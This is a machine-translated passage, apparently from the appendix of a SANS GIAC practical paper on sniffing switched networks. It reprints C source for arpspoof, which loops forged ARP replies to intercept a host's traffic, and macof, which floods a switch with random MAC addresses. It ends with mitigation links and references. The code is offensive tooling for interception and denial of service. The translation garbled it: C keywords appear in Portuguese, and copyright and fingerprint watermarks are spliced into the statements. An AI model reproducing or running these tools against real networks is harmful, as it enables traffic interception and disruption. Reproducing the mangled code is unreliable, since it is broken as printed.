retorno (-1);

} if (spa == 0)
SEM{ if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) return
(-1); spa = htonl(spa); /*XXX*/
©
} if (tha == NULL)
tha = "\ xff \ xff \ xff \ xff \ xff \ xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pacote);

libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, op, sha,


(u_char *)&spa, tha, (u_char *)&tpa,
Impressão digital da chaveNULL, 0, pacote
= AF19 FA27 + ETH_H);
2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
return (libnet_write_link_layer(llif, dev, pacote, sizeof(pkt)) ==
sizeof(pkt));
}

16
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

void
limpeza(int sig) {

int;

warningx("Restaurando mapeamento ARP original para


%s", libnet_host_lookup(spoof_ip, 0));

for (i = 0; i < 3; i++) { /*


direitos.
XXX - kernel BSD ETHERSPOOF necessário para que isso funcione. */
arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac,
spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
dormir(2);

} exit(0);
}
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
#ifdef __linux__ int
arp_force(in_addr_t
dst) {

struct sockaddr_in sin; int,


fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
Autor
-2002,
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

2000
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

fechar(fd);

retorno (i == 0);

} #fim se

int
Instituto
arp_find(in_addr_t ip, struct ether_addr *mac) {

int;
SEM
for (i = 0; i < 3 && arp_cache_lookup(ip, mac) == -1; i++) { #ifdef
__linux__ © /* XXX - força o kernel a arp. feh. */ arp_force(ip);

#senão
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#fim se
dormir(1);

} return (i!= 3); }


Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
int
main(int argc, char *argv[]) {

intc;

17
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

char ebuf[PCAP_ERRBUF_SIZE];

int = NULO;
spoof_ip = target_ip = 0;

while ((c = getopt(argc, argv, "i:t:h?V")) != -1) { switch


(c) { case 'i':

intf = escolhag;
direitos.
parar;
caso 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1) uso();

parar;
predefinição:

uso();
Impressão digital} da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
} argc -= optind;
argv += optind;

if (argc != 1)
uso();

if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1) usage();

if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) errx(1,


"%s", ebuf); Autor
-2002,
if ((llif = libnet_open_link_interface(intf, ebuf)) == 0) errx(1,
"%s", ebuf);

if (target_ip != 0) { if (! 2000
arp_find(target_ip, &target_mac)) errx(1,
"não foi possível arp para o host %s",
libnet_host_lookup(target_ip, 0));

} if (!arp_find(spoof_ip, &spoof_mac))
{ errx(1, "não foi possível arp para o host %s",
libnet_host_lookup(spoof_ip, 0));
Instituto
} signal(SIGHUP, limpeza);
sinal(SIGINT, limpeza);
sinal(SIGTERM, limpeza);
SEM
warningx("interceptando tráfego de %s para %s (^C para sair)...",
(target_ip ? (char *)libnet_host_lookup(target_ip, 0) : "LAN"),
©
libnet_host_lookup(spoof_ip, 0));

/* Senta e cheira. */
for (;;) { arp_send(llif,
intf, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip); dormir(2); Impressão digital da chave =
AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
}

/* NÃO ALCANÇADO */

saída(0);
}

18
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

/* 5000 */

/
* macof.c

Porta C do macof-1.1 da distribuição Perl Net::RawIP. direitos.


Testa dispositivos de rede inundando a rede local com endereços MAC.

Perl macof originalmente escrito por Ian Vitek <ian.vitek@infosec.se>.

Copyright (c) 1999 Dug Song <dugsong@monkey.org>

$Id: macof.c,v 1.11 2000/06/14 06:09:59 dugsong Exp $ */


Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D

F8B5 06E4 A169 4E46 #include "config.h" mantém


cheio
#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h> #include
<string.h> #ifdef
HAVE_ERR_H #include
<err.h> #endif #include
<libnet.h > #include <pcap.h>

#include "versão.h"
Autor
-2002,
extern char *ether_ntoa(struct ether_addr *); extern
struct ether_addr *ether_aton(char *);
2000
in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL; u_short
Dport = 0; u_short Esporte =
0; char *Intf = NULL; int

Repetir = -1; Instituto


void
uso(void) {

fprintf(stderr, "Versão: " VERSÃO "\n"


SEM
"Uso: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]" "\n [-i
© interface] [-n vezes]\n");
saída(1);
}

void
gen_mac(u_char *mac) {

*((in_addr_t *)mac) = libnet_get_prand(PRu32);


*((u_short *)(mac + 4)) = libnet_get_prand(PRu16); }
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
int
main(int argc, char *argv[]) {

intc,i;

19
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

struct libnet_link_int *llif; char


ebuf[PCAP_ERRBUF_SIZE]; u_char
sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN]; in_addr_t src, dst;
u_short sport, dport; u_char pacote[ETH_H + IP_H + TCP_H];

while ((c = getopt(argc, argv, "vs:d:e:x:y:i:n:h?V")) != -1) { switch (c) direitos.


{ case 'v':

parar;
caso 's':
Src = libnet_name_resolve(optarg, 0); parar;
caso 'd':

Dst = libnet_name_resolve(optarg, 0); parar;


Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 case 'e': mantém
cheio
Tha = (u_char *)ether_aton(optarg); parar;
caso 'x':

Esporte = atoi(optarg);
parar;
caso 'e':
Dport = atoi(optarg);
parar;
caso 'eu':
Intf = escolhag;
parar; caso 'n':
Autor
-2002,
Repetir = atoi(optarg); parar;

predefinição:

uso(); 2000
}

} argc -= optind;
argv += optind;

if (argc != 0)
uso(); Instituto
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL) errx(1, "%s",
ebuf);

if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0) errx(1, "%s",


SEM ebuf);
©
libnet_seed_prand();

for (i = 0; i != Repetir; i++) {

gen_mac (sha);

if (Tha == NULL) gen_mac (tha); else


memcpy (tha, Tha, sizeof (tha));
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 if (Src != 0) src = Src; else src
= libnet_get_prand(PRu32);

if (Dst != 0) dst = Dst; else


dst = libnet_get_prand(PRu32);

20
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

if (Esporte != 0) esporte = Esporte;


else esporte = libnet_get_prand(PRu16);

if (Dport != 0) dport = Dport;


else dport = libnet_get_prand(PRu16);

libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pacote); direitos.


libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
IPPROTO_TCP, src, dst, NULL, 0, pacote + ETH_H);

libnet_build_tcp(esporte, dport, libnet_get_prand(PRu32),


libnet_get_prand(PRu32), TH_SYN, 1024,
0, NULL, 0, pacote + ETH_H + IP_H);

Impressão digitallibnet_do_checksum(pacote
da chave = AF19 FA27 + ETH_H,
2F94IPPROTO_IP,
998D FDB5 IP_H);
DE3D F8B5 06E4 A169 4E46 mantém
cheio
libnet_do_checksum(pacote + ETH_H, IPPROTO_TCP, TCP_H);

if (libnet_write_link_layer(llif, Intf, pacote, sizeof(pkt)) < 0)


errx(1, "escrever");

fprintf(stderr, "macof: %s -> ",


ether_ntoa((struct ether_addr *)sha));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)tha));
}
saída(0);
}
Autor
-2002,
/* 5000 */

2000
informação adicional

Técnicas para usar sniffers de pacotes em redes comutadas têm sido bem
Instituto
documentado em vários fóruns, sites e livros de hackers e segurança de rede. o

URLs a seguir fornecem informações sobre técnicas usadas em sniffing baseado em switch
SEM
redes e etapas para mitigar as ameaças à segurança:
©
www.sans.org/infosecFAQ/ethernet.htm

www.L0pht.com/anti-sniff/

www.securityfocus.com/sniffers/

www.us.vergenet.net/linux/fake/

www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D1406
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
www.monkey.org/~dugsong/dsniff

www.netsurf.com/nsf/v01/01/local/spoof.html

21
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Recursos e Referências

direitos.
Anônimo, “Segurança máxima: um guia para hackers para proteger seu site e rede na Internet”, 1999.

Eric Cole, “Exploits de hackers de computador e rede”, 2000.

McClure, Stuart & Scambray, Joel & Kurtz, George, “Hacking Exposed”, The McGraw Hill Company,
1999.
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
mantém
cheio
Nicholas J., “O que está à espreita no éter?” Sala de leitura de segurança da informação: SANS
Organization, 4 de julho de 2000.

Russell, Ryan & Cunningham, Stace. “Hack Proofing your Network: Internet Trade Craft”, Syngress
Press, 2000.

Autor
-2002,

2000

Instituto

SEM
©

Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

22
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.

Você também pode gostar